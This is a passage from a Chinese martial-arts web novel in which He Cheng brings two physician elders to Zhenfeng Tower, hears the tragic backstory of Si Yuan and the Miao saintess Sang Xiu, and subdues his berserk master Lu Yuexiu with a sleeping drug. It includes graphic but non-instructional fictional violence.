贺承这人吃软不吃硬,南门迁的抱怨不理不睬,潘妩的语重心长,他却不能不应。他轻轻吸一口气,掀开眼皮,目光落在车窗上定定看了一会儿,不知在想什么,半晌才说:“枕风楼事了,还要赶去西江。也不知道逐月楼那边,会不会为难他们。” 这话勾起南门迁的记忆,刚刚出百花谷的时候,他还替贺承背了口锅。明明是他求着他和阿妩绕去湘城救人,当着陆晓怜的面,这小兔崽子反过来一脸茫然地问他“前辈去湘城有什么事要办?”。 南门迁挑眉:“既然担心,为什么要让他们自己走?” “师父现在的样子——”贺承抿了下发白的唇,“我不想他们见到。” 潘妩心细,还记得当时贺承开口求他们出谷救人时,曾经说过陆岳修是被他所伤,又见他与陆晓怜心意形同,一路相互扶持,心下清明几分,试探着问:“你怕晓怜怨你?” “是啊。”贺承轻笑,马车一颠,一阵剧痛碾过经脉,他的笑声哑在唇齿之间,散成一缕叹息,“怕她怨我,又不能不让她怨我。很难办。” “我们已经在去枕风楼路上了,可以同我们说说陆掌门的情况了吧?” 上一回贺承便是含糊其辞,这一回,他还是不愿意提,仗着已经把南门迁带出了百花谷,又或者是仗着潘妩心疼他,往车厢角落里蜷了蜷身子,无赖道:“不想说,你们见到他,便知道了。” 从庐川出发去枕风楼,统共走了五日,贺承便这样咬着牙硬撑了五日。没人知道接下来他们还会遇到什么人什么事,潘妩在百花谷里配好带出来的止痛药丸太过珍贵,风平浪静之下,他舍不得浪费一点。 到达枕风楼时,已是第五日的傍晚。 暮色四合,刚刚掌灯,正是枕风楼客人如织的时候。白日昭昭下,可以去做的事,还未完成,冥冥暗夜里,才能来探的事,刚刚开始,明暗交汇时,谁都能来,谁来都合理,正是枕风楼最繁忙,也最戒备警觉的时候。 与几十年前无异,枕风楼还是竖在湘城东边、背山面水处的一座七层高红色小楼。 小楼一层迎客,二层吃饭,三层赌坊,四层温柔乡,这里不分白日黑夜,厨房里烧着龙肝凤髓,赌桌上堆金积玉,绣床中软玉温香,轻纱漫飞,香气撩人,端的是个令人流连忘返的好地方。 而五层以上,暮色落下前便不开了。 非得等到掌灯时分,枕风楼五层、六层飞檐翘角下的红灯笼亮起,这才算是开市,五层求物,六层买命,重金之下,没有什么是在枕风楼买不到的。 但是,客人提了再多的银钱来,也上不了七层。 听说那里雕梁画栋,数不尽的金银丝线描出世间千万般美景,听说那里的地毯是用火狐和白狐的皮毛拼接而成,听说那里入夜不点灯烛,高悬着数十颗夜明珠照明,听说那里冬日引汤泉取暖、夏日铺冷玉防暑……如此种种,不胜枚举,极尽奢华。 只因枕风楼七层是楼主留给自己的地方。 而这一回,贺承他们要去的,正是七楼。 刚刚从百花谷出来时,贺承给沈懿行写过一封信,告知他自己已经找到了南门迁夫妇,取道庐川城稍缓几日,便会往枕风楼来。只是路途上情况随时生变,贺承也说不准实际到达时间,只草草留了个宽泛的时间。 于是,沈懿行也只能等着,并没有安排人守候相迎。 枕风楼的规矩,楼外十丈内不行车马。 马车靠近那栋红色小楼时,便有人来拦。颠簸一路,贺承疼了一路熬了一路,早耗尽了力气,半躺在车厢里,连坐起都嫌难受,自然不愿意走这十丈路。 更何况,枕风楼鱼龙混杂,他的车上还有南门迁夫妇。 贺承稍稍坐起,从怀中摸出一方墨色玉牌给南门迁:“麻烦前辈把这个给他们看。” 南门迁掀开一角帘子探出手去,只听得外头气势汹汹的人顿了一顿。 “玄色楼主令”不知谁提了句,“快,是楼主的贵客。” 南门迁不禁回头看了倚在车厢里的这位贵客一眼。 早在百花谷里,听说贺承将重伤的陆岳修安置在枕风楼时,他便觉得惊讶,贺承在四大门派之首的青山城长大,甚至拜入掌门陆岳修门下,可这些年竟然跟亦正亦邪的枕风楼还有联系?如今 看来,贺承跟枕风楼不仅有联系,牵连还不浅,否则怎么能轻轻松松地递出一块楼主令中规格最高的玄色令? 贺承觉察到南门迁探究的目光,睁开眼回视过来,懒洋洋地为他解惑:“被师叔带回青山城前,我就认识沈懿行了。多亏了他,我和弟弟才没有饿死。” 南门迁和潘妩问过贺承他小时候的事情,知道他自记事起,便是跟着一名老乞丐长大的,老乞丐死后,四五岁的小贺承便独自拉扯着两三岁的小贺启讨生活,这样过了两三年,贺承长到六七岁,才遇见了庄荣,才被带回青山城。 湘城龙蛇混杂,两个垂髫小儿能安然活过期间无人庇护的两三年,想必就是多亏了这个沈懿行相助。 一句话的功夫,马车已被引至枕风楼外。 外间的人不知车里坐着谁,只屏退四下闲人,拱手站在车外,齐声邀道:“恭迎贵客。” 贺承对这套流程驾轻就熟,扣住车窗边沿,撑着坐起来,倚到车窗边上去,探头出去,语音低缓懒怠:“我们去七层。” 他抬眼看了看窗外,马车正正好停在小楼大门外。贺承顿一下,又补了一句:“哦对了,太高了,我不想爬楼梯。” “是。”外面有人应了一声。 之后是一阵窸窸窣窣的声音,车马移动,再次停驻,是在小楼后面的一处花团锦簇的小院里。 花木掩映下的短短小径通往一方能容四五个人的红色木质大笼子,笼子底部铺了厚实松软的地毯,顶上悬着三根小腿般粗细的绳子,绳子一头高高绕过七层高楼顶处的三枚滑轮,落下来,盘在安放在院子的转轴上。 领路的人打卡木质笼子,坐了个请的姿势。 来的三位客人都曾是枕风楼七层的座上宾,驾轻就熟地走进木笼里,等着守着院子里的人齐力转动转轴,绳子寸寸缠起,木笼寸寸升高,将笼子里的人带至七层。 应该是有人来报过信,沈懿行早已经等着了。 见到南门迁和潘妩,他显得很高兴:“没想到小承当真能把二位前辈请出来!” 南门迁盯着沈懿行一张人畜无害的娃娃脸看了一会,觉得有些眼熟,思忖片刻,迟疑着问:“你是当初跟在司渊身边的小石头?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第五十一章桑秀桑秀就这么恨她的孩…… 沈懿行如今已是枕风楼楼主,听南门迁唤起微贱时的小名却不以为忤,反倒眼前一亮,有些惊喜:“前辈竟然能认出我!” 南门迁哈哈一笑:“这么多年过去,皮相变了,骨相却没变,我自然认得。” 沈懿行也是笑,轻声道:“当时我不过是司左使身边无人在意的一个小孩子,前辈是枕风楼的座上宾,竟还记得我的名字。” “记得你的名字很难吗?”南门迁挑眉,“当年司渊支使着你跑进跑出,我们每日见你的次数,比见他还要多。”说到这里,他顿下来,不动声色地看了贺承一眼,了然一笑,话却是对着沈懿行说的:“既然你是司渊的人,便不奇怪了。” 贺承昏昏沉沉地上了楼,垂着眼在一旁站着,并未觉察有异。 没有车马颠簸,他只要忍受内息运转时绵长的闷痛,倒也不是那么难耐了。可沿路奔波已经耗费了太多力气,他实在没力气站在这里听这两个人叙旧,忍不住打断他们:“要不大伙儿找个地方坐着聊?” 这话提得及时,沈懿行借着贺承这句话,转身亲自走在前面引路,踩着松软厚实的地毯,领着刚到的客人往里走,进了间布置精巧的小室,请客人围着中央的楠木小圆桌坐:“我让人备了饭菜,你们舟车劳顿,吃了饭先歇会。” 他特意看了眼贺承,拧起眉头:“特别是你。两位前辈年纪虽长,看着却比你精神!” 桌上已经摆了几道凉菜。贺承来沈懿行这里就像是回自己家,不等主人招呼,便拿筷子夹花生米吃,底气不足地争辩:“我挺好,就是饿了。” 话到这里,潘妩顺势摸出一张方子:“这是他要吃的药,前几日赶路顾不上,还要麻烦沈楼主让人给他熬上。” 沈懿行第一次见到潘妩时,还是个七八岁的小孩,他是司渊某一次执行任务时,从死人堆里拉出来的,从此就带在身边,亦师亦父。他没有见过自己的父母,记事起便在枕风楼,小的时候,他总是想象着,自己的母亲最好便是潘妩这个样子,有让人钦佩折服的能力,却还极度温柔。 念及往事,又听着潘妩客气疏离地喊他“沈楼主”,沈懿行当即便有些不满:“给小承熬药事小,潘姨这样喊我,就生分了。”说着,他将接过手的药方交给身边的人,特意交代每一样药材都要挑最好的。 说话间,沈懿行交代的饭菜已经送了上来。他挥手屏退桌边等着伺候用餐的侍者,亲自拿筷子给潘妩和南门迁布菜:“这里也没有旁人,别拿我当什么楼主,我们就还和,和司左使在的时候一样,自由自在,舒舒服服的,行不行?” 司渊的名字再次被提起。 这个名字,贺承在百花谷里就听南门迁和潘妩提起过。他大约知道这是当年救他们出枕风楼的人,也是设下重重机关将他们困在百花谷的人,可关于此人更详尽的过往,他为什么要救他们,又为什么要他们此生不出百花谷,南门迁和潘妩没有提及,与贺承相识多年的沈懿行更没有提过。 餐桌上有四个人,只有贺承对这段往事一无所知。他忍不住追着问:“这个司渊司左使与你们究竟有什么渊源?” 他们谈论司渊时并未刻意回避着贺承,可贺承问出这句时,人人缄默,房间里当真静得连根针落到地上都能听得见。 沈懿行用眼尾余光扫过南门迁和潘妩,正对上后者同样扫过来的目光。 大家都是聪明人,只消一眼便知道对方的意思。 只有当年尚未出世的贺承一无所知。 不管南门迁与潘妩怎么想,也不管当年司渊自己怎么想,沈懿行多年来一直觉得,世上千人千事,后浪压着前浪,司渊的名字早被世人淡忘,可贺承不该不知道这个人。之前毫无由头地提起这个名字,太过突兀,这回借着这个机会,正好可以自然而然地聊起这段往事。 沈懿行问贺承:“当年南门前辈和潘姨被沈南风困在楼里的事,你是知道的吧?” “南门前辈同我说过的。”贺承点头,“沈南风爱子病逝,沈南风发狂,便是你们说的这位司渊司左使救出了二位前辈,送他们至百花谷隐居,并要他们承诺此生不出百花谷。” “不错。”沈懿行点头,又轻轻叹了口气,“但后来的事,不仅你不知道,只怕二位前辈隐居百花谷,也无从得知。” 当年沈南风因为丧子之痛接近癫狂,司渊违背他的命令,私自放走南门迁夫妇,回到枕风楼后会是什么下场,南门迁与潘妩虽不曾亲见,却也有所预料。 潘妩秀眉微蹙,回忆起往事:“我们那时也料到他出谷后必定险象环生,想要留他长住百花谷。可他执意要走,说是他欠我们两条命,如此便算还清了,可因为沈南风,他还欠着一个人的情,还得去试着还一还。” 沈懿行问:“欠着谁的情?桑秀吗?” 贺承更是犹如猜灯谜,茫然问:“桑秀又是谁?” “是——”南门迁一个“你”字已到齿间,又生生咽下去,“很难说,桑秀与司渊是什么样的关系。当年司渊为了给沈南风的儿子找药,曾深入南疆,与南疆圣女桑秀互生情愫,有了一个孩子……” 南疆圣女不与外族通婚,世上知道这个孩子存在的人并不多。 二十多年前的一个冷雨凄凄的夜晚,司渊背着沈南风潜入南门迁夫妇的住处,求他们去救一名孕妇。那时他们还是沈南风的座上 宾,可以自由出入枕风楼,可司渊却带着他们左突右拐绕了许多小路,才赶到湘城城南的一座两进的院子外面。 院子里只留司渊最信任的小石头守着。 独自守着一名产妇大概是太为难一个六七岁的孩子了,小石头脸色煞白,见到来人,迎上前的脚步都是虚浮的,声音发着颤:“快,快进去看看,她,她想跟孩子同归于尽!” 南门迁跟着司渊急急忙忙往里闯,推开房门,只见房中躺着一名十八九岁的女子,她的衣着与容貌,跟中原人截然不同,她半躺着,腹部高高隆起,显然是怀着一个快要足月的孩子。 她唇角含笑,目光温和地看着自己的腹部。 可是她温和的目光看向的并不是自己腹中的孩子,而是停在自己肚皮上的那只火红色的虫子。那只狰狞可怖如毒蝎的虫子趴在她的肚皮上,咬破她的皮肤,贪婪地吸食她的血液。来不及被吞咽下去的血液,像一条条细细的小溪流翻越名山大川般,淌过女子的身体,在她身下聚成一湾小小的血泊。 她笑容灿烂,可在一片猩红的衬托下,她越是笑,便显得越是可怖。南门迁还记得,她抬头朝着司渊盈盈一笑,声音极轻极柔,说的话却极硬极狠:“司左使,你是个彻头彻尾的骗子,我不会生下你的孩子,他必须死。” 司渊瞠目欲裂:“桑秀,你疯了!” “别碰!”桑秀喝止住司渊要去捉她身上毒虫的手,沉下脸色,“这是我辛辛苦苦炼出的蛊虫,你若是敢碰它,我保证你连你孩子的骨灰都见不到。” 桑秀的蛊虫精准地钳制住了母亲与胎儿之间相连的脐带,将尖长的口器深深扎入桑秀腹中,默默吮吸着桑秀和她腹中孩子的血液。若不及时移开那只蛊虫,无论是桑秀,还是她腹中的孩子,都无法活命。 可人命关天,司渊最终还是动了那只红色的蛊虫,他摁住桑秀的手脚,拿软布将她绑缚住,强行将那只蛊虫收进陶罐里面,再请南门迁进行救治…… “后来呢?”不知为什么,贺承将筷子捏得很紧,蜷曲的手指透出青白的指节,“后来,母子平安吗?” 南门迁看他一眼:“也算是吧,孩子出生时不足月,所幸最后也还是活了下来。可孩子还没满月,又浑身是血的被司渊带着来找我。本就不是足月而生的孩子,只有大人两个手掌那么大,刚刚出生,就被亲生母亲割开血管,丢去喂蛊虫,实在可怜。” 贺承流浪的那些年见到过很多的母亲很多的孩子,他对于母亲的所有想象,都来自于儿时见过的那些小心珍重地牵着孩子走过街巷的女人,他没有想过,一位母亲竟然会这样怨恨自己辛辛苦苦十月怀胎诞出的孩子。 那他的父母呢? 他们也是这样恨他,所以不要他的吗? 贺承嗓子里像是堵着什么,声音发哑:“桑秀就这么恨她的孩子吗?” “母亲怎么会恨自己刚出生的孩子?”潘妩叹口气,“说到底,她恨的还是司渊。” 二十多年前,沈懿行也还是个懵懂的孩子,这段往事还是要由南门迁和潘妩来讲。 沈南风的孩子生下来便先天不足,尚在襁褓中,便几回命悬一线。当时沈南风一边派人找南门迁和潘妩,一边让楼主左使司渊不远千里奔赴南疆,去寻一味传说中能起死回生的药。 司渊便是那时候遇见南疆圣女桑秀的。 没人知道他们在南疆如何相遇如何相恋,南门迁只知道司渊回到枕风楼大约半年后,怀有身孕的桑秀不远千里地从南疆找了过来,苦守在枕风楼外,见到了司渊,便冲上来要与他拼命。 南疆圣女都是自小被关在深院中精细地养大的,被人仔细地护着,也被人严格地管着。没人知道怀着身孕的桑秀是如何躲过族人的盘问,是如何千里迢迢来到中原,只知道她来时,便恨极了司渊,声声逼问他,当初是为了什么去的南疆? 沈懿行问:“他说了,是为了取那味救命的药,是不是?” 南门迁有些迟疑:“我不在场,但我猜应该是这样说了。” “那便难怪。”沈懿行那时被司渊安排去小院里陪桑秀,他翻着脑中关于桑秀的画面,若有所思,“她那时住在城南小院里,便不许我说司左使一点好,说他为了拿一味什么药骗她,日日骂他是负心汉。” “最初是怎么样的,咱们说不准,可到了最后,他对桑秀是上了心的。”潘妩一句话,将所有人的目光都吸引了过去。她与南门迁对视一眼:“我们都知道,司渊要我们答应他此生不出百花谷,就是为了桑秀。” 第52章 第五十二章司渊司左使没有墓。 世上哪有不计回报的优待?南疆被金尊玉贵养大的圣女说到底是南疆族人不顾女孩子们自己的想法,强行托举起来的一个物件儿,与刀枪剑戟、锅碗瓢盆,其实并没有区别。 向来南疆圣女的出路只有两条—— 要么嫁于南疆王,要么终身不嫁,以处子之身养蛊炼蛊。 偏偏,桑秀遇见了司渊,不管不顾硬是闯出了第三条路—— 一条由着她自己的心意去走的路。 她已经飞蛾扑火奋不顾身,却又要告诉她,她其实所托非人。怎么能不恨? 潘妩说:“司渊亲自去过南疆,他自然知道南疆规矩,桑秀身为南疆圣女,与他私通生子这事传回去,桑秀再难活命。为保桑秀一命,这剑事绝对不能走露半点风声。” 那时知道桑秀产子的,除了司渊看着长大的沈懿行,便只有南门迁与潘妩…… “我们夫妇二人与司渊并无私交,虽出于医者仁心救过桑秀和孩子,可司渊还是不敢全然信任我们。世上口风最严的,唯有死人——”潘妩看见贺承目光一凛,轻笑着摇头,“他是个好人,心肠很软,自然不忍杀我们,只是用重重机关将我们困在百花谷里,要我们立下重誓,此生不出百花谷。” 此前,贺承一直以为百花谷的机关是为了防外人擅闯。直到此刻,他才知道,不仅外面的人进不去,居住山谷之中的南门迁与潘妩也是无法出谷的。 而他之所以能自由进出百花谷,全仰仗少年时反复诵记的那册无名书籍。 所以,他师叔究竟是是从哪里得到的那本书? 难不成,他师叔也跟这位司左使有什么渊源? 南门迁补充道:“不错,当时司渊急着走,南面的山岭来不及设机关,他索性将从桑秀那里得来蛊虫放置在山岭里,后来那里毒物丛生,成了进山者闻风丧胆的七步岭。” 就是他们遇见的那只通体血红的蛊虫吗? 那只,无缘无故爱亲近他的蛊虫吗? 贺承心念一动,霍然抬头朝南门迁看去。他似乎想到了什么,又生出些问题想问,可话在喉咙里吞吐着,最后干巴巴地问了一句:“那,那位司左使后来怎么样了?” 司渊离开百花谷之后的事,南门迁和潘妩并不清楚,所有人将目光聚到沈懿行身上。 “自然是不好。”沈懿行垂下眼,眼睫遮挡过眸中痛色,“桑秀将孩子拿去喂蛊虫后,便不知所踪,司左使救出二位前辈,也有很长一段时间全无音讯,我再见到他,已经隔了将近两年……” 司渊是当时的枕风楼楼主沈南风亲自带回枕风楼的。 爱子死后,沈南风被抽走了最后一根软肋,喜怒无常,性情暴戾,他对南门迁夫妇的下落已经没有兴趣,心中愤愤难平的,是司渊当年的背叛。他命人将司渊关进刑堂,亲自监刑,要将枕风楼的酷刑都在司渊身上使一遍。 沈懿行那时也在被叫到了刑堂。 他原本就是司渊的人,沈南风让他去,就是要他看着,要他知道背叛的下场。 那是沈懿行第一次见到凤尾续魂针,一拃长的银针深深钉入体内,施针者指尖一弹,长针应声而断,只将针尖几 寸留在受刑者体内,牢牢牵连住经脉要穴,非剖开血肉,再难取出。 施针时,司渊已经受过几日的刑。 几番浑身浴血也没出过声的人,在第一枚长针穿刺入体时便是遽然一颤,呻吟出声来。九枚续魂针下来,他咬牙强撑,终究还是没有在沈南风面前出声哀求,只是默然咬烂了口腔里的嫩肉,目光涣散,气若游丝,吐出来一口血沫。 沈南风悠哉悠哉地靠在圈椅里喝茶:“凤尾续魂针扎下去,你可就没办法死得那么痛快了。都这样了,你还是不肯说吗?” “我……已经说过了……” “是啊,你说过了,你说你背叛我,放走南门迁,是因为他对你有恩。”沈南风雪白的手掌托着一只紫砂茶盏,若不是四周萦绕着浓重的血腥味,这画面看着实在是风雅极了。 “可是——”他轻轻放下茶盏,起身走近司渊,微微倾下身子,凑近他耳边,不依不饶地追问,“可是你还没告诉我,究竟是什么样的恩,能让你将我们多年的兄弟情弃之不顾?” 每回都是这样。 沈南风追着问,司渊不肯说。 沉默对峙半晌,沈南风便没了耐心,伸着玉葱似的手指从放置刑具的架子上随意点几样,留一句“谁能撬开司左使的嘴,便能取而代之”,而后拂袖离去…… 贺承讷讷问:“他不肯说,是为了桑秀吗?” “是吧,但可能也不仅仅是。那时沈南风已经巅峰,他的孩子死了,南门前辈却救下了司左使的孩子,他会怎么想?又会做出什么事来?没人料得到。”往事悠长,沈懿行语气轻缓,“不过我那时还是个孩子,司左使哪里会同我说那么多。但我想,他一定是牵挂着桑秀的,他生生经受了枕风楼里二十一道酷刑,临死时只交代了我两件事。” “什么事?” “一是,他要我保全自己,不必为他报仇,二是,他交代我,日后若能见到桑秀,替他同她说一声抱歉,一定要悄悄地说,别让旁人知道。” 司渊与在座诸人各有牵连,沈懿行声音低沉地说完这些,所有人都面色凝重。 楼高风急,夜风扯动檐下的惊鸟铃,在枕风楼声色犬马的喧沸中,那清脆的铃声轻巧得微不足道。在这座七层高的小楼里,多得是无可奈何,多得是有心无力,多得是不肯屈服,最终被寸寸敲断铮铮铁骨。 再不会有人知道,司渊被困在枕风楼刑堂时,究竟是怎么想的,可因为他三缄其口,最终有一些事被埋藏,有一些人活了下来。 南门迁看看贺承,又看看沈懿行,沉默许久,声音低沉:“他葬在何处?当年他救我和阿妩一命,我们来一趟,总该去吊唁。” “他——”沈懿行声音一顿,下意识转头看向栏杆外的茫茫夜色。 枕风楼依山而建,入夜后的山林是一片不可预料的森森漆黑,与灯火堂皇的枕风楼仅仅相隔几十丈,确实另一个人间。 风在山林间呼啸穿梭,卷在树叶枝干的刷刷声响中,如潮水层层涌来。 沈懿行看着外面的夜色沉默许久,像是在回忆,也像是在斟酌着该如何往下说。静默片刻,他终于回过头来,抿了下嘴唇,沉声道:“没有墓。司左使过世后,沈南风心里依然有气,命人将他的尸身烧成灰,扬在枕风楼后面的那座山上……” 血肉模糊的往事,将这场久别重逢,拖入了不见底的深渊。 沈懿行让人精心准备了饭菜,可这顿饭没人吃得舒心。他后知后觉地发现,这些事可以提,却不必急着提,顺着自己笨拙地处事,他同时也发现,虽然自己已经是沉着果决的枕风楼楼主,可遇见故人,他还是会变回那个莽撞冒失、不知所措的小石头。 借着路途奔波的借口,这场惹人伤感的接风宴结束得很早。 枕风楼待客没有不周到的,为南门迁夫妇准备的客房早就安排好,甚至房间里引了一池温泉水,供他们沐浴解乏。沈懿行亲自把人送到客房,吩咐侍者在屋外仔细伺候着,转头便去找贺承。 与南门迁他们不同,贺承住的不是客房,他在枕风楼有自己的房间。 虽然贺承不常住,可沈懿行成为楼主的那日起,便留好了房间。他说,他一直将贺承当做自己的亲弟弟看,无论如何,他都要在自己身边给贺承留个栖身之处,他可以不常来,可他来了,就决计不能潦草相待。 夜色浓稠,风吹不散。沈懿行端着一碗鱼茸粥推开贺承房门时,贺承正站在窗边,伸手探出窗外去,张开手掌,任夏末微凉的风从指尖扫过。他的手掌上空无一物,可他却一瞬不瞬地盯着自己的手掌,不知在想些什么。 “小承。”沈懿行站在门边,曲着手指叩了叩门框,“我进来了?” 贺承转头:“你不是送南门前辈他们去休息吗?怎么过来了?” “他们回房休息,我总不能赖在人房间里不走吧?”沈懿行抬腿迈进屋里,将鱼茸粥端到贺承眼前,“我看你晚上没吃什么东西,是不是赶路累了?我让厨房重新煮了点粥,多少吃几口,再去睡。” “不累,就是没什么胃口。” “不累怎么会没有胃口?”沈懿行脸色一沉,放下碗,便去扣贺承腕上脉门,“可是身上的伤不大好?” 贺承收回手试图闪避,动作间衣袖稍稍滑落,露出小臂处一段雪白的绷带。 沈懿行眼尖,握着他的手腕撩起衣袖,拧眉追问:“这是什么?” 那不是什么要紧的伤,是贺承离开庐川前,主动找金波取血喂蛊留下的伤口。沈懿行还不知道他在七步岭遇见了蛊虫,他不想在此刻开诚布公地把一些事说明,只稍稍挣开沈懿行,遮掩道:“一些皮肉伤而已,不要紧的。” “当真?” “不信你看。”贺承解开绷带,将小臂上浅浅的一道伤口递到沈懿行眼前,一本正经地胡编乱造,“给晓怜喂招的时候不小心划伤的,要不了命!” 沈懿行还是不信,伸手扣住贺承腕上脉门。 幸而,指腹下的皮肤温软,透过薄薄的一层皮肉,沈懿行摸到腕骨之下的那一缕脉搏,虽然不算有力,却平稳绵长。 沈懿行眼前一亮,欣喜道:“是南门前辈!” 贺承点头:“是,南门前辈和潘前辈帮我治了伤,说等之后再跟他们进一趟百花谷,把身上的凤尾续魂针拔出来就没事了,你放心,我死不了了。” 沈懿行长舒一口气:“幸好,幸好你运气够好,能找到他们。” “我能找到两位前辈,真的是运气好吗?” “什么意思?” 贺承顿了一下,笑道:“大概我这半年里所有运气都用到这里了吧。” 沈懿行轻轻嗤笑一声,并不言语,重新包扎了贺承手臂上的伤,拿眼神示意他赶紧喝粥。在沈懿行的注视下,贺承乖乖端起粥碗,小口小口地抿着鱼茸粥。他沉默地吃了小半碗,终于忍不住,抬头问沈懿行:“你后来见到桑秀了吗?” “嗯?” “你不是说,司,司左使临终时交代了你,若见多桑秀,提他向她道歉吗?你后来见过她吗?她还恨吗?” 沈懿行眉头微蹙:“你怎么想起问这个?” “我——” 贺承在脑子里翻寻着借口,还来不及翻出自己满意的答案,却听得外面传来一声凄厉的尖叫。分辨出声音来自何处,贺承脸色一变,随即放下粥碗,看向同样皱起眉头的沈懿行:“是我师父?” 第53章 第五十三章陆岳修师父,您睡一觉就…… 贺承与沈懿行走出房间,正遇见同样从房里出来的南门迁与潘妩。 四人碰面,来不及交谈一句,便有几名枕风楼弟子从走廊的一端疾步奔来,跪倒在沈懿行面前。这几名弟子神色惊惶,狼狈不堪,月白的衣袍上染着星点血色,为首一人勉强镇定,朝着沈懿行抱拳道:“楼主,囚室里的人,他,他突然发狂了,生 生撕了两个人!” “师父!”不等沈懿行发话,贺承脸色一变,闪身朝囚室奔去。 “小承!”沈懿行知道决计叫不回贺承,只吩咐弟子,好好护住南门迁与潘妩,脚下生风,也追着贺承去了。 枕风楼依山而建,与北面的息山用一道廊桥相连。桥的这头十丈软红恋恋红尘,最是让人流连,桥的那头却是枕风楼的刑堂。 当年,司渊在刑堂里咽了气,尸体是在息山上烧的,骨灰也是在息山上扬的。自那年,他背着沈南风放走南门迁和潘妩,直到他死,都没能再回到这栋由他一手建起来的七层小红楼。 沈南风掏空了息山,来设枕风楼的刑堂。 枕风楼的刑堂不仅用来惩处枕风楼犯错的弟子,也用来处罚那些与枕风楼定下契约,却不能执行的人,或是留下手指腿脚,或是留下心肝脾肺,枕风楼的每一笔生意都明码标价有言在先。 可半年前,枕风楼的刑堂却住进了一位贵客——陆岳修。 刑堂设在山洞里,阴暗潮湿,为陆岳修准备的囚室日日点着碳火熏着艾草。粗糙的地面铺了厚而柔软的地毯,床也是从小红楼四层温柔乡的库房里,找出来的一张崭新的、宽敞的雕花床,床上的褥子被子都照着小红楼七层客房的规格,无一不是好的。 一开始,所有人都看不明白。 陆岳修需要仔细伺候的贵客,为什么不安排在小红楼里,偏偏他住到刑堂来? 在陆岳修入住第五日,昏迷中骤然清醒过来,一掌震碎了进去喂他用药的侍者全身经脉时,这个问题才有了答案—— 不是沈懿行不想安排他住在小红楼里,而是不敢让他住在小红楼里。 没人说得清,陆岳修为什么会无故出手伤人。每一回,他发狂伤人之后,会力竭昏厥过去,醒来时,却又似乎什么都不记得了,不说话,不看人,只平躺在床上,目光平直地看着天花板。 为了防止他一再伤人,沈懿行只好找了锁链将陆岳修死死困缚在床上。 陆岳修毕竟是青山城掌门,功力深厚,寻常铁链哪里困得住他?最初那阵子,许是不愿意被束缚,陆岳修挣断过两三回铁链。那时重伤中的贺承还命悬一线,身上数不清的伤口日复一日渗着血水,沈懿风当然不敢劳动他,只能自己带着楼中弟子拼了命去制住陆岳修,他每一回挣断铁链,枕风楼就要填几条人命进去。 说来也怪,后来贺承伤势好转,像是陆岳修也一同好转了一般,不再三天两头地发狂,只是依旧不说话,痴痴傻傻地呆在那里,与意气风发的青山城掌门已经判若两人。 算起来,陆岳修已经有大半年没有发狂伤人了。 平静了太久,沈懿行都差点忘了,他在刑堂里埋了这样一颗炸弹。 贺承住在枕风楼时,每日都要去探望陆岳修。对于从小红楼到刑堂的路,他驾轻就熟,疾行几步,越走越急,身形便飞掠起来,几个回落便到了刑堂外。 枕风楼的弟子没有贪生怕死的,他们横着兵刃,层层叠叠守在刑堂外。最里层的人身上月白色的衣衫已经染了血色,陆岳修的断云掌掌风过处,兵刃应声而断,他们却挺直了脊背,横过残剑勉力格挡,半步不退。 贺承没有带上凌云剑,此刻被枕风楼弟子持剑重重包围的人,是他的师父,无论何时,他都不会与他的师父刀剑相向! 他拍上一名枕风楼弟子的肩膀:“喂,身上有迷药、迷烟一类的东西吗?” “贺公子。”那弟子愣了愣神,从怀中摸出一只瓷瓶,有些为难,“只有迷药,可他发狂得厉害,刚刚生生将一个人撕成了两半,要近身让他服药,太危险了!” 贺承挑眉:“他可舍不得撕我!” 话音刚落,他伸出两根指夹过那只小瓷瓶,纵身一跃,足下轻点,踩过几人的肩膀借力,轻飘飘地落进包围圈的最里层去—— 彼时,陆岳修正捏着拦在他面前的枕风楼弟子小丁的肩膀,将人稍稍提起。那小丁已经力竭,手中握着残剑,曲着手肘却已伤不到陆岳修,只能脸色煞白地陆岳由着修捏着自己的肩膀向两侧撕开,将骨头拉扯得咯吱作响。 小丁今日负责在刑堂中巡视,陆岳修挣脱铁链时,他恰好巡视到那附近,正亲眼看见陆岳修生生撕下给他送饭的那名弟子的一条胳膊,趁其无力阻拦,从未上锁的房门闯了出来,又将一个赶过来拦他的弟子,生生撕扯成两半。 滚烫的血从残破的身体里炸开,像一蓬凄艳的杜鹃花。 小丁以前很喜欢杜鹃花的,那么鲜艳,那么热烈,春末夏初的时候,漫山遍野的绿,缀着一捧一捧的红,浮翠流丹,好看得心惊。 他想着,如果自己能活下来,应该再也不想见到杜鹃花了。 可是,他大概是活不下来了。 肩膀上的力度越来越大,身上的皮肤和肌肉被紧紧拉着的,小丁觉得自己是一只绷得平直的纸鸢,被四面八方的力紧紧拽着,随便哪个方向,只要再加一分力气,他便会立时四分五裂。 他闭上眼,不忍亲眼看见血花从自己身体里绽放。 可在下一瞬,他却觉得身子陡然一沉,重重摔到地上去。 “师父!” 小丁在如死的沉默中,听见一声轻唤。他睁开眼,只见一道极瘦极薄的身影被风吹过来一般,轻飘飘地攀在陆岳修背上—— 是被楼主奉为座上宾的那位贺公子。 贺承显然是聪明的,他知道要避开与陆岳修正面交锋,绕到陆岳修身后去,从陆岳修身后环住他,扣住他的手臂,试图将人制住。 陆岳修双手被制,怒极了,喉咙里发出愤愤不满的咆哮。 “师父,是我,我是小承!”贺承死死扣住陆岳修的手,凑到他耳边一遍一遍重复自己的名字,“师父,你看看我!我是小承!” 可陆岳修已然失去理智,他听不见声音,更听不清话语,发灰的眼珠子动了动,手腕一翻,折起小臂,一记断云掌,毫不顾惜地拍在贺承肩头。 贺承没有躲闪,生生受了这一掌。左肩并不是什么致命的地方,可断云掌千钧之力还是震得他喉咙里血气翻涌,他气息一窒,却依旧死死环着陆岳修,不肯松手。 “师父……您,您先睡一觉……睡一觉就没事了……”他用手指费力地掀开瓷瓶的盖子,松开钳制住陆岳修手臂的双手,一手捏住陆岳修的下颌,迫使他张开嘴,一手举着瓷瓶,将瓶子里的迷药尽数灌进去。 贺承的动作已经尽量快了。 可陆岳修的反抗来得更快。 被人捏着下巴灌药,他只剩本能的挣扎,手肘一下一下用力向后撞去,希望能挣脱开攀在他背后,死死钳制住他的人。 四下围着枕风楼的人,每个人都是一条命,贺承决计不会松手。 他颤抖着手,将最后一滴药喂进陆岳修口中,手指一松,瓷瓶咣当落地,摔成碎片。一瓶药灌下去,贺承觉察陆岳修的挣扎越来越轻,越来越慢,他终于松开手,从陆岳修背上滑了下来,往后退了几步,看着陆岳修的目光越发痴钝迷离,身形摇摇欲坠起来。 